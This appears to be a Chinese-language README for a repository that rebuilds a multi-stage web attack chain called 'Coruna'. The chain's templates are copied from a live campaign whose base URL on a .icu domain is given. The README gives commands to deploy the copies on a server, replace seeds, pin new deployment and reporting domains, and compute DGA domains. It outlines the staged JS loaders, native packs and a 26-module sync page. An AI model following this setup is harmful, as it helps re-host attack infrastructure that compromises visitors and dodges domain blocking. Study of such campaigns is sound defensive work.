Files
coruna-lab/README.md
T
hashbro d4fb538997 init
2026-08-05 04:04:06 +08:00

68 lines
2.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# coruna-lab
启动 / 验证 Coruna 链路所需的最小文件树。内容从 `coruna-online` **复制**而来,按线上 URL 路径放置。
```text
coruna-lab/
├── source/ # 只读模板(campaign 原样,勿 patch)
│ ├── web/34f5121f572d6742703eb84ec2f866a6/
│ └── sync/
├── web/… # 工作副本(由脚本从 source 复制后再 patch)
├── sync/
├── out/seeds.json, domains.json
├── doc/
├── tools/
└── MANIFEST.json
```
线上 base(模板同源):
```text
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
```
## 新建 / 刷新工作树(推荐)
从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`:
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
python3 tools/new_project.py
# 指定 seed / 固定域名:
python3 tools/new_project.py --deployment-seed … --reporting-seed …
python3 tools/new_project.py \
--deployment-domains 'a.example,b.example' \
--reporting-domains 'c.example,d.example'
```
域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供:
```text
https://<host>/web/34f5121f572d6742703eb84ec2f866a6/support.html
https://<host>/sync/daily.html
```
## 文档
| 文档 | 内容 |
|------|------|
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
| [`tools/README.md`](tools/README.md) | 替换 seed、重建二级包/core、计算 DGA 域名 |
## 链路(极简)
```text
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
→ Deployment DGA → /sync/daily.html → 26 模块
```
## 其它
- 来源索引:`MANIFEST.json`
- 分析报告:`coruna-online/docs/`
- **不要**对 `source/` 跑 `--apply`;只改根目录 `web/` / `sync/`